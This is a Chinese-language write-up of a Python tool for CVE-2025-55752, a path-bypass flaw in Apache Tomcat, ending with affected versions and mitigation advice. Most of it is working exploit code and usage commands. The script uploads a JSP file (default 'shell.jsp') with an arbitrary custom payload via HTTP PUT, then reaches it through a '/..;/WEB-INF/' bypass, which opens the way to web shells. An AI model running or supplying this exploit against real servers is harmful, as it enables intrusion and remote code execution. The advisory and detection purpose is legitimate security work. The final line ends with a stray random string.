CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具详解

2 阅读5分钟

CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具

项目描述

本工具是一个专门用于检测和验证 Apache Tomcat 服务器是否存在 CVE-2025-55752 漏洞的安全脚本。该漏洞是由于重写阀门(Rewrite Valve)与规范化处理存在缺陷,导致攻击者可以绕过路径保护机制,访问或上传文件到受保护目录(如 /WEB-INF/)。如果服务器启用了 HTTP PUT 方法,此漏洞可能导致远程代码执行(RCE)。

功能特性

  • 漏洞检测:自动化检测目标 Tomcat 服务器是否存在路径绕过漏洞
  • 文件上传测试:支持通过 HTTP PUT 方法上传测试文件到目标服务器
  • 路径绕过验证:利用 ..; 序列绕过 URL 规范化检查,验证对受保护目录的访问
  • 灵活配置:支持自定义上传文件名和 payload 内容
  • SSL 选项:提供 SSL 证书验证的开关选项
  • 独立检查模式:支持仅进行路径绕过检查而不上传文件

安装指南

系统要求

  • Python 3.x
  • requests

安装步骤

  1. 克隆或下载脚本文件

    git clone <repository-url>
    cd CVE-2025-55752
    
  2. 安装必要的 Python 依赖

    pip install requests urllib3
    
  3. (可选)配置环境

    • 确保 Python 环境已正确配置
    • 如有代理需求,请配置相应的网络设置

使用说明

基本用法

1. 仅检查路径绕过漏洞
python3 CVE-2025-55752.py http://target:8080 --check

此命令仅测试目标服务器是否存在路径绕过漏洞,不进行文件上传。

2. 完整漏洞检测(包含上传和验证)
python3 CVE-2025-55752.py http://target:8080

此命令将尝试上传一个测试 JSP 文件,并验证是否能通过路径绕过访问该文件。

3. 自定义文件名和 payload
python3 CVE-2025-55752.py http://target:8080 --filename exploit.jsp --payload "<% out.println('PWNED'); %>"

使用自定义的文件名和 payload 内容进行测试。

4. 禁用 SSL 证书验证
python3 CVE-2025-55752.py https://target:8443 --no-ssl-verify

对于使用自签名证书的 HTTPS 目标,使用此选项禁用 SSL 验证。

参数说明

  • url:目标服务器的基础 URL(必需),需包含 http://https://
  • --filename:上传的文件名,默认为 shell.jsp
  • --payload:上传的文件内容,默认为 <% out.println("Bypassed!"); %>
  • --check:仅检查路径绕过,不进行文件上传
  • --no-ssl-verify:禁用 SSL 证书验证

输出说明

  • [+] 表示成功或发现漏洞
  • [-] 表示失败或未发现漏洞
  • [!] 表示发生错误

核心代码

1. 主程序入口与参数解析

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-55752 Exploit & Detection Tool")
    parser.add_argument("url", help="Target base URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--filename", default="shell.jsp", help="Filename to upload (default: shell.jsp)")
    parser.add_argument("--payload", default="<% out.println(\"Bypassed!\"); %>", help="Payload content to upload")
    parser.add_argument("--check", action="store_true", help="Only check for path bypass without uploading")
    parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL certificate verification")
    args = parser.parse_args()

    print(BANNER)
    verify_ssl = not args.no_ssl_verify

    if not args.url.startswith("http"):
        print("[-] Please include http:// or https:// in the URL")
        sys.exit(1)

    if args.check:
        check_access(args.url, f"/WEB-INF/{args.filename}", verify_ssl)
    else:
        uploaded_path = attempt_put_upload(args.url, args.filename, args.payload, verify_ssl)
        if uploaded_path:
            check_access(args.url, f"/WEB-INF/{args.filename}", verify_ssl)

if __name__ == "__main__":
    main()

代码说明

  • 使用 argparse 模块解析命令行参数
  • 验证 URL 格式,确保包含协议头
  • 根据 --check 参数选择执行模式:仅检查或完整测试
  • 控制 SSL 验证开关

2. 文件上传函数

def attempt_put_upload(target, filename, payload, verify_ssl):
    upload_path = f"/{filename}"
    url = f"{target}{upload_path}"
    try:
        print(f"[+] Attempting to upload payload to: {url}")
        response = requests.put(url, data=payload, verify=verify_ssl, timeout=10)
        if response.status_code in [200, 201, 204]:
            print(f"[+] Upload successful! Response code: {response.status_code}")
            return upload_path
        else:
            print(f"[-] Upload failed! Response code: {response.status_code}")
            return None
    except Exception as e:
        print(f"[!] Upload error: {e}")
        return None

代码说明

  • 使用 HTTP PUT 方法上传文件到目标服务器
  • 构造完整的上传 URL
  • 检查响应状态码,200/201/204 表示上传成功
  • 添加超时设置防止长时间等待
  • 异常处理确保程序稳定性

3. 路径绕过检查函数

def check_access(target, path, verify_ssl):
    bypass_path = f"/..;{path}"
    url = f"{target}{bypass_path}"
    try:
        print(f"[+] Checking access to: {url}")
        response = requests.get(url, verify=verify_ssl, timeout=10)
        if response.status_code == 200:
            print("[+] Bypass successful! Target may be vulnerable.")
            return True
        else:
            print(f"[-] Access denied or not vulnerable (HTTP {response.status_code}).")
            return False
    except Exception as e:
        print(f"[!] Access check error: {e}")
        return False

代码说明

  • 利用 ..; 序列构造路径绕过 URL
  • 使用 HTTP GET 方法尝试访问受保护路径
  • 响应状态码 200 表示绕过成功,目标可能存在漏洞
  • 添加详细的日志输出,便于调试和分析

4. 初始化与安全设置

import requests
import argparse
import urllib3
import sys
from urllib.parse import quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BANNER = """
CVE-2025-55752 Tomcat Path Bypass & Upload Detection Script
============================================================
This tool attempts to exploit a Rewrite Valve + normalization bypass to upload a test JSP file 
into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752.
"""

代码说明

  • 导入必要的 Python 模块
  • 禁用 SSL 警告,避免输出干扰
  • 定义工具横幅,显示工具名称和功能介绍
  • 使用 urllib.parse.quote 预备 URL 编码功能(虽未在代码中直接使用,但为扩展功能预留)

受影响版本

Tomcat 分支受影响版本
11.x11.0.0-M1 至 11.0.10
10.1.x10.1.0-M1 至 10.1.44
9.0.x9.0.0-M11 至 9.0.108
8.5.x8.5.6 至 8.5.100

建议:升级到已修复的版本(11.0.11、10.1.45 或 9.0.109 及以上版本)。

漏洞原理

CVE-2025-55752 是 Apache Tomcat 中的一个回归漏洞,当重写规则将查询参数映射到 URL 时,URL 规范化逻辑存在缺陷。攻击者可以利用特定的路径遍历序列(如 ..;)绕过内部保护机制,访问受限制的目录(如 /WEB-INF//META-INF/)。如果服务器启用了 HTTP PUT 方法,攻击者可能上传恶意文件并实现远程代码执行。

安全建议

  1. 立即升级:将受影响的 Tomcat 版本升级到已修复的版本
  2. 禁用 HTTP PUT:除非必要,否则应禁用 HTTP PUT 方法
  3. 加强重写规则:对重写规则中的输入进行严格验证和清理
  4. 访问控制:加强受保护目录的访问控制
  5. 监控日志:监控服务器日志,检测可疑的路径遍历或文件上传请求FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6xNbDhtNlxQOQyXU+FbeFK